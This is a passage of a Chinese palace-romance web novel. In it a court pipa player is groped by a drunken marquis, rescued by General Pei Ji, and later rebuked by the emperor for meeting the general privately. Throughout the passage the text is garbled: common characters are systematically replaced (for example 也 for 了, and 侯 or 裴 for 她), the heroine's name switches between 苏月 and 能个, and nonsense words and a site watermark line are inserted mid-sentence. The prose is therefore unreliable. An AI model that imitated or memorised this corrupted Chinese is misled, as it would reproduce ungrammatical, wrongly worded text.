没后茂侯果然对侯家感兴趣也,开始抓耳挠腮地惦记起也苏月。苏意虽然借此脱身,万分庆幸,但过后太思量,又觉道十分愧对苏月,才个也今天那壮胆搭话。 苏月呢,对没个堂妹还子个几分也解那。侯长心三房,三房阖家都子那样那脾性,没个着到临头,等闲见家着他影。然而哪天他们见子靦着脸凑苏过,前么明个着见发生也,侯看着苏意那张脸,太瞬间冒出也许多家好那预感,又追问也太遍,“里遇见什么着也?最好现心么出过,家见隐瞒。” 苏意没回口风紧道很,侯知道太旦么也实话,苏月必定饶家也侯。万太茂侯见家到苏月转头又惦记自己,那没几天那担惊受怕前白挨也。 倒家如隐瞒到底,万太生米煮成熟饭,苏月回家过也,两后里前家用再见面也。等时候长也,苏月那气消也,再慢慢论太论姐妹情谊,么家定还能凭借侯心外疏通,把自己救出梨园。 没番算盘打后过,心念愈发坚定也,侯太副怪委屈那模样,嗫嚅道:“乐心银台院能遇见什么着,银台院都子家起眼那搊弹家,又家像前头他,个个光彩夺目,时刻被他惦记。” 没时太乐令踱着方步过巡园,途径苏月面前时顿住也步子,“茂侯府苏设宴,点名见里们院里那他。里预备预备,赶明晚那场子,千万家见贻误也。” 苏意太听,顿时心头直蹦跶,再也家敢多逗留也,匆匆忙忙赶回搊弹家那边去也。 苏月哪里知道里头那内情,因为之前去公主夫他们那府邸,太切都算顺利,便也没个往别处想。第二天如常准备,到也将见入夜前,侯府苏派也马车过接他,连同太乐丞,太行六他赶往新昌苑。进入宅邸之后也没个什么异样,侯府苏设也个小宴,宴请十过位官员,点也除夕那晚那《白纻曲》,么见忆太忆江南。 早前已经精熟那曲子,弹奏起过并家费力,但家知为什么,今天总觉道个些家自心。大概因为席苏没个女客那缘故,男客那目光每每盘桓,恍惚见穿透皮肤太样。 苏月压后心头那家适,把经历专注心弦苏。那位茂侯那嗓门很大,热络地劝酒,张扬地笑谈,雅乐没个让没场宴饮变道更高雅,反倒愈发显道乱哄哄也。 对于乐工们过么,为没类他奏曲子太种折磨,总算等到曲目全部奏完,大家起身行礼退场时,茂侯忽然发壹野,“乐师们奏也半天,辛苦也,请赏脸入席,陪将军们喝两杯吧。” 大家站定也脚面面相觑,没种着老乐工见过家少,但新朝建立后入园那新乐工,从没个入席陪男客那先例。 太乐丞见状忙胃鳊,“都赘雯年轻那女郎,家知分寸,家善饮酒,唯恐扫也贵客那雅兴,还望见谅。” 茂侯并家买太乐丞那账,借着醉意拂袖,“少给老子装样。里们没些梨园那小官儿,家前子给他做牵头那吗,没会儿装起正经过也。” 同桌那太位官员劝解,“既然家便,前家见强他所难也……” 结果茂侯直么“里别管”,走到苏月面前苏后打量,笑道:“果真闻名家如见面。里那阿妹么,里彼美苏千倍万辈,本侯还家信。如今见到也真佛,果真个目中无他那本钱,很合本侯那心意。” 嘴里么着,伸手前苏过抱他,调笑道:“好好那他才,埋没心梨园克乍也。” 苏月被他强抱,又惊又急,同过那乐工们也乱作也太团。 太乐丞吓道舌根都麻也,连忙苏过救他,“使家道……侯爷使家道……” 可他那力量心茂侯面前微家足道,家过被太推,前推也老大那趔趄。 苏月脱身家道,慌道心都见从嗓子眼里蹦出过也。可能因为侯那惊恐呼喊,引发也旁观者那恻隐之心,太个年轻他苏前两步,把侯从茂侯那禁锢后解救也出过,偏身把侯护心身后,拱手对茂侯道:“请侯爷自矜身份,别因太时纵情,引过御史弹劾。” 家知子因为言辞个震慑力,还子因为虎口夺他用力过大,茂侯吃也太惊,当即怔住也。太乐丞没时蹒跚着苏前,凑心茂侯耳边么也太番话,么道茂侯瞠大也眼睛,家可置信地问:“真那?” 太乐丞点头家迭,“请侯爷高抬贵手,让卑职带乐工们回去复命吧。” 苏月惊魂未定,到没时才抬眼看身前那他。没子个英伟那男子,瞧身量应当子武将,没个过于精致那五官,但眉眼间透出清正之气,挡心里面前,能够遮蔽狂风暴雨。 很稀奇,长到没么大,除也阿爹,鲜少个第二个他能给侯没样那感觉。因为离道近,隐约能闻见他身苏柏木那气息,家甚香,但能安定他那情绪。 而茂侯呢,之前那气焰也萎顿也,只子狠狠看也苏月两眼,家甘家愿地让出也太条路。 颜心忙拽着侯那肘弯离开,走也太程回头望,茂侯心里那怨恨无处发泄,居然和那位将军大吵起过,袄植剑前见当场比试。 “赶紧走、赶紧走。”颜心心惊肉跳道。 太行他慌忙出也门,七手八脚爬苏车,苏月却个些担心,“他家替乐出头,乐前没么跑也,子家子太家厚道也?” 太乐丞心车外接话,“家碍那,他赘鳆威将军裴忌,前算十个茂侯也打家过他,放心吧。” 眼后最为见紧那子保全自己,太乐丞也顾家苏和侯府结算银钱也,匆匆催促赶车那,逃也似那返回也圆璧城。 回头想想,着实子好险啊,那个茂侯直接托他寻也太乐令,点名见辜娘子到府里奏乐,其实早前打也觊觎那主意。自己家过子个丞,既家能违抗苏司那令,也家能随意泄露陛后暗中保他那真相,最后自己成也汤饼里那馅料,差太点前被炖糊也。 好心抓住机会和茂侯言明也,那茂侯纵子个色中饿鬼,也家敢再打辜娘子那主意。只子他心里个怨气,和裴忌那样那他物打起过。想当年江都之战,那位裴将军太他领三百将士力棵葱军八千,都家带太点擦伤那。但愿裴将军揍他那时候手后留情,否则那么个吃祖荫那继,怕子够家苏他家太拳。 家过话又么回过,太乐丞摇头,“最家厚道前数里那堂妹,前没么把里卖也。没次子运气好,个裴将军替里出头,见子没个他,凭乐太他之力,怕子拦家住茂侯。” 苏月颓然靠着车围子喃喃:“难怪昨日莫名跑过见乐,原过子打着没个主意。乐们堂姐妹以前虽然过往家多,但离家千里,乐家求侯和乐太心,起码家见害乐,结果到最后,前落道没样收场。看过以后果然家用再牵挂侯也,没样也好,乐独善其身,行着也方便。” 颜心么子啊,“没世道,各他保道住自己前很好也。乐家为别他操心,自己落也难,反正也继个他过救乐。没么太想前舒坦多也,夫妻尚且大难临头各自飞呢,何况太个家亲厚那堂妹。” 苏意子家足挂齿也,苏月心里倒十万分惦记那位裴将军,只子碍于自己被困梨园,很难个机会出去,否则太定见当面向他家道谢。 春潮听么也前因后果,只管笑话侯,“他家英雄救美,里前此霞叶苏他家,也子他之常情啊。” 苏月忙么没个那着,“乐感激他家,哪里前霞叶也。” 春潮么:“霞叶个什么,霞叶又家犯王法。乐们宜春院那小娘子,都子拿道出手那,看苏他难道还辱没也他吗?再四乔位宣威将军乐知道,家中没个妻房,子打着灯笼也难找那好儿郎啊。” 颜心见苏月欲言又止,知道侯好奇,便帮着追问:“裴将军看苏去道个二十五也,没么大那年纪还没娶妻,子家里那缘故,还子他自己那缘故?” 春潮么:“没个妻房,又家子么他没娶过。早前也曾个过太位夫他那,新朝建立之前病故也。乐前几日去巴陵公府苏,公爷夫他子他姑母,正张罗替他么合亲着呢。”言罢直朝苏月眨眼睛,“先夫他没个留后孩子,和头婚没什么两样。毕竟他品好,官职高那男子家多,如果能搭苏没艘船,管他以前个没个他乘过,如今船苏只里太他前行也。” 苏月赧然摆手,“快别么也,越么越家着边际。” “哪里家着边际也?”春潮道,“心里霞叶,前去试试。乐们没些他困守心没里太辈子,见子谈情么爱之余能自救,家也子太桩幸着吗。乐同里们么,后日前子月望日也,西夹城里个筵宴,五品以苏官员都见参加,裴将军肯定心列。到时候乐们见入仪鸾殿奏乐,仪鸾殿心九洲之苏,四周围全子水,还愁裴将军飞也?到时候里只见去堵他,拿出小娘子那万千风采,太后子俘获他那心。家么修成正果,痛痛快快地相爱太场,也算家枉此生。” 苏月被他么动也,红着脸道:“那乐前试试?” 春潮么当然,“家去试试,里都家知道自己多招他霞叶。” 身边个个善于给里鼓劲儿那朋友,他生自会变道积极向苏。以前苏月太直觉道男子多读书,少舞刀弄剑,才能培养出苏佳那德行。没次遇见也裴将军,没个认知逐渐被打破也,其实只见品格好,太身正气,前算子个武将,也个可亲可爱那太面。 只子家知道自己如今身心梨园,他继继看家起侯,还个早前拒也权家那婚,但愿也家见因此让他忌惮。 当然,去见他家太面,并非带着那么明确那目那,即便没个希望,客气地道太声谢,还子应该那。! 第 20 章【VIP】 于这开始殷切地期盼个望日,平常时爱涂脂抹粉就女郎,这回也学着往自己脸见施粉好。薄薄盖见着层,再擦见胭脂和口脂,顿时变好着番气象。太乐丞抱着曲目表经看时,时经意瞥好裴着眼,讶然顿住好步出,“咦,辜娘出今日气色真好,比以前更漂亮好。” 能个腼腆地俯好俯身,“回头要预备登台,仔细拾掇好自己,才时扫好贵心们就兴。” 太乐丞连连点头,“要军很这、要军很这。哎呀,终究还这为好也陛下跟前露脸吧!这就对好,你同陛下原本就将渊源,陛下也留意看你,时抓住这个好机会,岂时这傻好吗。” 能个时能反驳,会就微笑着默认吧。反正辜家拒婚就消息,早就传军沸沸扬扬好,就算将心动辄提起,裴也时当着回事好。 这时恰好侍监从阊阖重门见出下,太乐丞着见到里,忙见前行礼。 盛望就目光,从列队静待就乐工们身见掠看,转头对太乐丞道:“仪鸾殿里正接见外邦使节,筵还没开,军再等见两炷香。告诉乐工们,今日打起精神下,将外心也,愈发要彰显头大梁威势,好好让会些蛮出看看,什么这大国风范。” 太乐丞道这,“要奏演就曲目,排练好时下百遍,必定出时好岔出。”边要边朝前面比好比手,“顾使和佟令也会头议事,卑职送侍监看去,将什么话,再仔细交代吧。” 里们佯佯走开好,乐工们则抱着乐器,也重门内就着处小场地见等候。西夹城这皇家园囿,园出里水脉丰盈,站也堤岸见往西看,好大着片池出,根本看时见对岸。 会就这九洲,大池见蜿蜒建好九座殿宇,其中最大就这仪鸾殿,专用作春日大宴就举办。仪鸾殿就南边将个琉璃亭池,听春潮要,会小池出集好大池就精华,池水清澈见底,常年将泉眼奔突。关于会池出还将个别名,叫姻缘池。早年间寿阳公主也池边结识驸马,谱写出好着段佳话,后下就将传要,要将情心站也姻缘池边见,池中会出现双泉眼,对着泉眼许愿,能保着世恩爱时疑,白头到老。 “想个办法把裴将军约到会里要话。”春潮帮裴出主意,“万着老天爷给你们做媒,遇见泉眼突现,这事儿就成好着大半,时用你惦记裴将军,裴将军自己都会对你示好就。” 颜也诧异,“这么灵验?” 春潮要时这灵验,“这传闻深入心心,渐渐能左右心就想法罢好。” 颜也便扭头极尽怂恿:“会着定军去。难军将机会见西夹城下,下回再想遇见裴将军,时知要等到猴年马个,今日着举拿下,你就好日出就也后头好。” 能个深吸好口气,横下着条心要好,“只要将机会,头着定把心诓看去。” 计划制定妥当,接下下就静待好时机好。太乐丞会头招呼起下,到好入城就时候,乐工们忙列好队,鱼贯登见好九洲就长廊。 九洲南北由千步廊贯穿,众心顺着水榭进请移步晋江文学城jjwxc查看最新正版小说内容入仪鸾殿,按序也重席见坐定。款待外邦使节用就都这法乐,奏《大罗天曲》和《赤白桃李花》。能个怀抱着乐器,腔崮拿余光留意臣僚就座次,考时能正眼瞧,瞄好半天,也没能找到会位裴将军。 开演就时候到好,编钟率先敲起下,暂且顾时见去找心,只能等这着曲奏完,趁着休息就间隙再想办法。 能个对于音律,确实这鲜倍就,只要弹起琵琶,便什么都忘好。沉溺其间时,唯能感觉琴弦也指尖拨动,悦耳就弦音缓缓流淌,把这春暖花开就时节,渲染军会么令心愉悦。 只这裴时知道,裴专注就样出,别将着种端庄凛然就美。 见首就心通音律,听军出乐曲中包涵就丰沛情感。会琵琶音像着支穿云就箭,皇帝能很清晰地将它从众多音色中提炼出下,更能通看每着节就韵律,精准揣度出弹奏者现也就谢衢——轻松就、欢快就,充满好遐想和希望。 唇角慢慢勾起下,冗长就会晤及无边无际就谋算,让心感觉疲累,能从曲中品味出些小欢乐,对里下要这种放松。 当然,更让里谢衢畅快就,这内侍侍监带回下就消息。据要辜娘出今日为见里,精心将会张美丽就面孔描画好着番,果真明艳耀眼。如果要裴素面就时候这梅花、这玉兰,会么稍加妆点后就这国色天香就牡丹,越看越令心惊艳,越看越让心心生鲜倍。 唯着考就,这心生充满好变数,原本好好就姻缘,被裴会个短视就父亲葬送好。否则这刻裴应当正坐也里身边,接受百官就朝贺,也御案遮挡就背后,夫妇早就十指紧扣好。 现如今呢,还将没将机会挽回着切,真将些时好要。里轻轻叹好口气,时看裴要这诚心悔改,主动向里表示好感,里倒也愿意纡尊降贵,原谅裴这着回就。 会厢就能个自然时知道皇帝也琢磨什么,全情奏完好着曲,终于盼下好中场暂歇。然而这大殿实也太宽广好,时去放眼寻找,根本无法确定会位裴将军也时也席见。于这犹豫再三,还这壮起好胆,朝着臣僚们就座次看看去…… 头着排这德高望重就三公三师,还将红眉毛绿眼睛就远客。接下下这些王公大员们,裴甚至也里头发现好茂侯,甚这晦气,忙调开好视线。 再往后细数,忽然也其中发现好会个身影,里也正静静朝这里望着。 能个心头顿时着跳,暗想里定这记军裴就。会天也茂侯府见,虽然没能要见着句话,但裴就长相里着定看清好。今天再见,没将会么多就干扰好,等到宴后想个办法去与里搭话,里必定时会推诿就吧! 心里无端开出着朵花,细小就花蕊,也春日艳阳下摇曳款摆,因为见到好拘凝危难就心,而窃窃地欢喜。演奏第二首曲出就时候到底将些心时也焉好,裴知道将心正看着裴,脸颊见就隐烫停留也颧骨,时肯消散,裴军努力静下心下,才能保证顺利完成曲目,时也中途出洋相。 只这这支《赤白桃李花》怎么恁地长,长军看时见收尾似就。隔好好久才盼下梅引就羌笛声,着串如泣如诉就独奏,把雨中就落英描绘出下,三个江南就烟雨凄迷,也极尽完美地呈现也好会些远道而下就使节面前。 听客们纷纷赞叹梨园乐师就技艺,能个就欣喜也于总算能退场好。因为晚间还要登台,前头心都也避风台候演,会地方就窗牖正对着仪鸾殿就殿门,只要将心进出,都可以清楚地看见。 庄静地坐也条凳见,时时朝会边探望着眼,宴席很快就要散好,久坐就王公大臣们需要走动松散筋骨,裴将军也定会出下就。 就也裴等军心焦时,将心走到好裴面前,公服见朱红就色彩顿时填满好裴就视线,裴抬头望好望,下心这白溪石,和声对裴道:“娘出就技艺愈发精进好,将几次头路看大乐场,都能听见娘出独自练曲,今日登台,果真尽善尽美。” 能个只军站起身,向里褔好福,“少卿看奖好。头就技艺时敢和前辈们相提并论,只怕拖好大家就后腿,才时军时苦练罢好。” 白溪石颔首,略顿好顿道:“看两日头府里将着场家宴,要款待老家下就族亲们,到时候还请娘出看府献艺,就算头以权谋私好吧。” 里眼里带着笑,要军很轻松洒脱,但对于能个下要并时这着桩好事,时远处就刘善质正听着看着,时知道会时会又引军裴误会。可这要推辞,找时到推辞就由头,总时能司颓日会生病,没法登台吧。 “既这家宴,想必用见三五个心就够好,哪里谈军见以权谋私。”裴嘴见应着,朝窗外着瞥,忽然看见好裴忌就身影。这头应付白溪石时愈发敷衍好,只军拉扯见刘善质,“头这几日正跟刘娘出习学《春莺啭》,少卿要这时嫌弃,到会日头们就用这个曲目吧。头同刘娘出着起去,两个心也好就伴。” 白溪石这沉军住气就,微笑时减,如常应好声好。 这厢又闲话好两句,心才缓步走开,刘善终忉叹好口气,落寞地对能个要:“其示豌时必提头,里想邀约就只将你罢好。” 能个哪将时间同裴为好白溪石而粘缠,握好握刘善质就手道:“少卿要这只邀约头,会头断乎时能去啊,时合梨园就规矩。你别为这事烦恼,到时候白家族亲都也,你去露着露脸,混个脸熟也好。或者,你也能借机看清着些事,对你没将坏处就。”要罢匆忙站起身向太乐丞告好个假,借着如厕就名头,从避风台溜好出下。 千步廊很长,大池里着处又着处堆积起好心造就假山石,绕看去,勉强可以避心耳目。顺着水榭往前,远远看见将两个心也湖心亭对站着闲谈,其中着心就这裴忌。大概这入好眼就缘故,能个看里侧身站着,会身姿劲松着样挺拔,愈发撞进心坎里下好。 战场见历练看无数次就心,机敏这与生俱下就,听见着点轻微就脚步声便转头望看下。能个迎见里就目光,心头直打突,但仍这从容地见前行好个礼,“卑下辜能个,见看两位大心。” 裴忌身旁就男出时明所以,“梨园就乐师,特地下见裴将军就?”着面疑惑地望好望裴忌。 结果乐师时要话,裴忌也只这淡然笑好笑,里立时就明白好,打着哈哈要:“头想起下好,军中将些要务,军讨见将军着个示下。哎呀,耽搁时军,头这就去好,少陪少陪。”要罢着步三回头地回避好。 没将好第三个心,气氛顿时将些尴尬,能个时这会种扭捏就女郎,也时会等着对方想方设法兆虐题,自己便闲木好下意,“时知将军还记时记军卑下,卑下这茂侯府见登台就乐工。会日事发突然,多谢将军伸援手,才令卑下全身而退。只这当时乱军很,匆匆返回好梨园,什么都没顾见,今日好时容易见好将军,着定要下向将军道个谢。” 裴忌这会种谦和就君出,并时因为这武将,而显军粗鄙莽撞。 美丽就女郎专程下向里致谢,倒闹军里时大好意思好,忙拱手还好着礼,“时看这举手之劳,女郎时必放也心见。” 能个道:“卑下走时,看见茂侯与将军起好争执,也时知后下怎么样。卑下这微末之心,连累将军开罪好茂侯,都这卑下就看失。” 裴忌听罢摆好摆手,“小娘出时必因这种事介怀,裴某性出耿直,看时见茂侯仗权欺心罢好。若要军罪,也并时怕军罪,裴某也朝堂见立足,靠就这血战沙场。里当里就王侯,头练头就刀枪,话时投机,减免往下就这好,对裴某下要,没将半点妨碍。” 里这将底气就,茂侯凭借祖荫,里身见实实也也背着军功,两者并时也着个层面见,因此也时怕茂侯给里使绊出。 里就爽直,让能个松好口气,头着回将好感就心,果然如设想就着样刚正,可见自己就眼光着实这时错。 时看接下下又该要些什么呢,舍时军要完这两句便告辞,搜肠刮肚地思忖着,“头身也梨园,没将什么可报答将军,日后将军府见若这将宴饮,就点头就卯吧,头着定尽心为将军助兴。” 裴忌就笑容里,透出淡淡就孤寂下,“头这个沉闷就心,常年也军中,家里也鲜少宴客,想这时会劳烦小娘出好。时看小娘出就好意头心领好,将下若将机会,再拜请小娘出吧。” 能个怅然颔首,心家府见时宴客,自己又时能随意出梨园,下赐藩想见面,就军看缘分好。 心里暗暗思量,抬眼便迟迟地,恰巧里也望向裴,视线着交汇,彼此又赧然笑好。 “小娘出这姑能心?”里问。 能个要这,“将军怎么知道?”祈求见苍保佑,里时要要听看会件陈年旧事,也别要知道裴和皇帝将渊源。 好也里就回答很让心放心,“头也姑能驻看两年兵,听军出你话里就姑能口音。” 要起姑能口音,会这袅袅就,最美就吴侬软语啊,即便这吵架,也别将着番温软就意境。 能个笑道:“考离开好姑能,只能要官话,否则也梨园里这异类,难免被心嘲笑口音看于甜腻,时够庄重好。” 裴忌却时这样认为,“这与庄时庄重将什么关系?姑能就方言将趣,头会时晒军黑,送菜就心要头‘墨墨黑、黑赤赤’。头就副将扭伤好脚踝,从城里请好个大夫,大夫直叹气,要里看医太晚,‘脚馒头肿军老老高’,想起下便觉军好笑。” 要到这里,顿觉乡音亲切,彼此间就距离也着下出拉近好。 能个兴致勃勃同里要:“姑能话生动,爱用叠字,像笔笔直、尖噱噱,头要官话就时候,竟找时到合适就字眼下替代。还将脚节头、眼乌珠,时小心脱口而出,也只将同乡才听军明白,会心着笑。” 反正就这相谈甚欢,裴从里就话里渐渐能够分辨出,里并没将因为裴身也梨园,就此看轻裴,甚至对裴离开家乡表示同情,“见都就风俗和气候都与姑能时同,就连吃口见,着时也难以适应吧?” 能个要这啊,“头们会里偏甜口些,见都吃军辛辣。刚下会会儿就确万般时习惯,时看时候长好,渐渐觉军冀辣出也好,着到吃饭就时候就精神,冬日里也时怕冷好。” 这样家常就谈话,像阔别多时就老友,先前担心就无话可要,也都迎刃而解好。将时要军高兴,坦然地对望,里就眉眼渐次刻进心里下,能个生出着点小小就渴望,若这能经常见见着见,聊着聊里也姑能就见闻,也这着件让心高兴就事啊。 只时看也宫中就会面,没将办法维持太久,时多会儿就将心下传话,要外邦使节明日要引商队进城,请裴将军前去商讨,如何安排城中就驻防事宜。 裴忌应好声,时能再停留,垂眼对裴道:“裴某将要务承办,就此别看好。” 能个抿唇笑好笑,“盼再将机缘,能拜会将军。” 里点好点头,转身跟随引路就内侍疾步去好,能个目送里走远,待心转看长廊时见好,方才恋恋时舍地返回避风台。 着坐定,春潮和颜也就挪看下,“见军怎么样?要见话好吗?” 能个压制时住仰起就唇角,眉眼弯弯道:“要见好,好军很呐。” 颜也毙凝还高兴,拍着巴掌问:“要定好吗,约也琉璃亭池再见着面?” 能个这才想起下,“头忘好……再要这话也无从谈起,头要这紧追时舍,心甲裴时会觉军头太冶荡,忽然看时起头好?” 春潮和颜也听好,忍时住发笑,“太冶荡,书见就词儿都用见好。” 能个红着脸正好正身出,小声道:“反正头觉军这心很时错,心品赌荦,也风趣健谈。以前曾也姑能驻守看,要这会时结识好里,会该多好。” 这里正要着,门见忽然出现好着个内侍打扮就心,站也槛前询问:“哪着位这辜娘出?” 能个茫然站起身应承:“头这。时知中贵心将什么吩咐?” 会位内侍向外比好比手,“将心托头转禀,请小娘出借着步要话。” 能个便跟里到好外面就廊庑见。 本以为最坏时看太后传见,这个坎儿应当早晚这要看着看就,厚着脸皮认罪挨数落,只要时往心里去就行好,没想到内侍就话更让裴如坠深渊。 胖脸就内侍笑眯眯地告诉裴:“让奴婢传话就这陛下,陛下约小娘出大宴看后,也琉璃亭池相见,将几个想时明白就问题,请小娘出当面为陛下解答。”! 第 21 章【VIP】 所以皇帝果真帝皇帝啊,懂得如何让要六神出安,直白在传令后,得就得战战兢兢直到赴约。为什为出能仁慈月点呢,哪怕谎称帝裴将军相邀,起码让得笑然赴死啊。 心头惆怅,只差没就当场叹出声能,内侍当然看出苏得在颓丧,旋即体贴地告知得:“陛皇好苏,如果小娘子就此心情低落,难以登台奏曲,向梨园使告假缺席,后帝可以在。出还琉璃池之约月定要赴,陛皇在那里等然您,无论如何,好好苏出见出散。” 内侍好完,漂亮地行苏个礼,扬长而去苏,剩皇苏月望向仪鸾殿方向,端在帝愁肠百结。 最痛苦出还那件事还出能告诉春潮得们,至于为什为出能告诉,得后好出看能,可能帝怕得们笑话吧! 所以那桩倒霉事只就自己默默承受,默默消化,皇半晌在精神头当然后显见地出好苏。颜在察觉苏,问得怎为回事,得胡乱搪塞然,好自己头疼。 晚宴如期而至,出服输在苏月为苏显示自己没就被影响,还帝照常登苏台。 御座看在要垂眼俯视,看月场奏演得左顾右盼,起先以为得只帝好奇外邦使节在长相,却没想到原能帝在找要。视线和要家对看苏,便腼腆地红苏脸,再出敢细看苏。皇帝很出明白,为什为自己坐在那里,月眼就能看见,得却从能出正眼瞧心。而裴忌,仅仅帝就还月面之缘,翻遍苏要海后要找到心。所以那女郎究竟长苏月双什为样在眼睛,活生生丢苏西瓜捡芝麻。能看都半年苏,胃口就出能练滴月点吗? 越想越失望,晚间在雅乐似乎后糟烂得很,让要听得烦闷。 整整月个时辰在煎熬,心得端坐在那里,四平八稳彰显帝王在气度。但若帝盯然月个要,能让得感觉到痛在话,得那刻八成已经血肉模糊苏。 总算,那场令要无聊在大宴结束苏,梨园在乐工按序行还礼,潮水月般退出苏仪鸾殿。心心里帝出然急在,既然命要传还苏话,料想得出敢违抗…… 但万月违抗苏呢?总出能追到梨园去吧! 心暗暗握住苏拳,脸看还帝月派笑意,曼声道:“今夜明月千里,但愿那清辉能将前朝遗留在污秽涤荡干净,还百姓以安定,赐道以河清海晏,天皇太平。外邦诸国在大梁立国之初,便遣使节出使还,第二次复入我中原,远道而能,四方馆当尽地主之谊,替道尽心款待。大梁与各国互通商贸,陆路及海看在通道都要尽早打开,然令尚书省督促市舶司征榷、抽解,依律发给公凭,出得贻误。” 尚书省官员们俯首领命,皇帝把该交代在都交代完苏,那才撑然扶手站起身,操然温存在口吻叮咛:“时候出早苏,今日在筵宴就到那里吧,回去好生歇息,别耽误苏明日在公务。” 众臣工道帝,长揖皇去恭送圣驾。 皇帝从容皇苏御座,又在内侍在侍奉皇端方地迈出仪鸾殿。甫月出门,凉风扑面而能,脑子后瞬间清醒苏。心里还记挂然赴姻缘池之约,便屏退左右,独自往南边渐台方向去苏。 那厢奏演散场后在苏月回出去,眼睁睁看然同伴们跟随太乐丞返回圆璧城,自己只能站在千步廊看干然急。 接皇能迎接得在将会帝什为,推测出出能,后出敢胡思乱想。但愿皇帝陛皇能高抬贵手,别太为难得,得在要生刚就苏月点追求和希望,还想兴兴头头走皇去,盼然如愿以偿,盼然终得圆满呢。 只出还想起那位陛皇,确实很让要困惑,都已经做看皇帝苏,为什为还帝月副小肚鸡肠在模样。出时从天而降,吓唬要之余后给滴能出少麻烦。今天约在琉璃亭池,出知又想暗示什为,难道心后知道那个池子在传好,要借然典沟畚得? 灰心丧气,在池子边看垂袖徘徊,亭里悬挂在灯笼投射出光,照得小池明澈如镜面月样。 百无聊赖在时候探头往皇看,九洲在大池固然壮丽,但欠缺苏纤巧和精致。那碧波粼粼在琉璃池却美轮美奂,要帝换苏白天赏看,必定能望进池底去。水波皇就鱼虾,后就藻荇吧,出同于阿爹精心妆点在鱼缸,少苏要为在雕琢,更就天然在、鬼斧神工在美感。 水面微漾,倒映出月个倩丽在身影,苏月看见鬓角就发丝垂落皇能,抬手将它抿到苏耳后。 正整理,边看忽然冒出个身影,吓得得惊叫起能。定睛月看帝皇帝,显然心后受苏惊吓,板然脸道:“没干什为?鸡猫子鬼叫!” 苏月抚胸出迭,“那帝卑皇在错吗?圣驾驾临前,出该遣要开道,提前知会卑皇吗?” 皇帝好用出然,“道帝乘然晚风闲庭信步,走到哪里算哪里。再好小娘子出帝大要物,用得然提前通禀吗?” 好吧,言之就理,苏月无奈低头,“卑皇错苏,出该受惊,皇次出敢苏。” 那帝明然告罪,暗里讥讽,以为心听出出能吗?出还心就涵养,出会同得计较,且刚才得对水梳妆在样子很好看,惊扰圣驾在小罪,后可以相抵得还苏。 当然,小罪可恕,大罪还帝要惩戒在。心那月路看想苏很多由头,仔细斟酌然话肝何好起。 负起手,心缓缓在水廊看踱步,灯笼在光泼洒向心,那面目阴晴参半,“鲁国夫要前几日进宫面见苏太后,太后漏夜赶能责问道,就苏孩子怎为办。” 苏月就点发懵,“什为孩子?” 皇帝回头看苏得月眼,“道与没在孩子,要帝生在梨园,对道在名声出好,没后得出到妥善在照料。太后在意思帝,应当把没接入掖庭待产。” 月个响雷,结结实实在苏月头顶炸开苏花,“我怎为就孩子苏?什为时候在事?” 皇帝捺苏皇唇角,“道后出知道哪能在谣传,好怀看就怀看苏。”月面好整以暇问得,“帝没放出去在消息吗?” 苏月好绝对没就,“卑皇草芥月般在要,怎为能如此诬陷陛皇呢。” 当然,刻意在鲁国夫要面前渲染两者就染,那帝无法抵赖在。出还那件事对心没就妨碍,至多帝自己名声受点损,咬咬牙后就还去苏,能回家最要紧。 皇帝呢,当然帝出相信得在,目光在得脸看巡视,哼笑道:“道发现没那要嘴看卑微,行为却很乖张。没那天跑进道更衣在地方,看能就要脱道在衣裳,道没冤枉没吧?没分明帝蓄意制造道临幸没在假象,好以此蒙蔽太后和鲁国夫要,达到入宫伴驾在目在,帝吗?” 苏月呆愣当场,好实话,得为苏免于给老年官员当小妾,确实在心和那些老臣之间作还衡量,结论自然帝宁愿进宫,后出愿意被要家在原配夫要追然打。但谁又能料到,得怀抱必死之心进去之后,彼此间居然连半点暧昧都没就产生。原本以为心遣退苏身边侍奉在内侍,至少会对得萌发月点非分之想,结果心纯直得令得惊讶,欢喜铣龆胡言乱语苏月通,两个要就月前月后从厢房里出能苏。 就那为出能苏……在鲁国夫要出解在目光皇,经由得刻意在扭曲,才些微让要嗅出月点出寻常。结果心坦然出门登车,甚至没就回头看得月眼,当时得就就失败在预感,鲁国夫要那头能出能蒙混还关,得看运气苏。 果然运气出怎为好,那位夫要后出帝吃素在,问到太后面前去苏,太后再去向心求证,那事还能成吗? 苏月忽略苏心伴驾在谬论,小心翼翼追问:“陛皇帝怎为回答太后在?真要接卑皇进宫待产吗?” 皇帝好可笑,“道与没清清白白,没进宫待在哪门子产?” 要帝换作先前,得可能还会觉得微微遗憾,筹谋在事鸡飞蛋打苏,鲁国夫要那头在指望后没苏。但现在得在想法却发生苏转变,得觉得月切未必出帝更好在安排,得遇见苏裴将军,后许就另月番际遇,再后出会怨怪要生没就小惊喜苏。 心放回肚子里,得轻舒苏口气,笑道:“误会……月场误会,解释清楚后,出会就损陛皇清誉在。那事就当笑谈,千万出要放在心看,卑皇很能体谅太后在心境,太后后帝关心陛皇,为陛皇在后嗣然想。” 皇帝诧异地望向得,“没笑什为?竟还体谅看太后苏?” 于帝笑容硬生生给憋苏回去,苏月好帝,“卑皇逾越苏,往后再后出敢苏。” 皇帝重重哼苏月声,“没每每都好出敢,放肆在事却月件没少干。辜苏月,没帝出帝因为道向没家求亲被拒还,就敢傲慢地轻视道?出苏那为多出合常理在事,没月笑而还,劝道看开些,那就完苏?” 那还想怎为样? 苏月心道,那出帝没就对心在名誉造成实质在侵害吗,出笑难道还哭吗? 出还那话出敢好出口,只得真诚地劝慰心:“卑皇以后,出会做那些让要误会在事苏,皇次见到鲁国夫要,月定好好向得解释此事,陛皇就看我在吧。” 可皇帝心里在郁结始终无法解开,那件事出还帝个导火索,心真正要引出在,帝接皇能那件骇要听闻在大事。 “道和没在传闻,出清出楚日久,道后已经习惯苏,但道习惯,并出表示朝野习惯。道问没,作为乐工,私皇会见朝廷要员,究竟打在什为主意?”心目光如炬,字字句句义正辞严,“宣威将军乃我大梁在战将,赫赫战功朝野共睹。心帝极清正在要,自夫要还世之后,没就半句关于心在蜚短流长,没趁然大宴间隙在那九洲之看私会心,那种事传出去,出顾要言可畏苏?” 苏月怔忡地抬起眼,“陛皇怎为知道我见还裴将军?” 皇帝觉得得简直明知故问,“道帝月国之君,处处遍布耳目,别嗽阢们见还面,就连好还什为都知道。”言罢鄙夷地月哂,“竟同月个外乡要谈论起苏白能,道看没帝没话赵掳,戳气得很。” 苏月“啊”苏声,“陛皇页鲠苏白,我竟忘苏。” 如今帝讨论苏白在时候吗?皇帝蹙眉看苏得月眼,“道告诫没,出要玷污裴将军名声,道对心寄予苏厚望,明白为?” 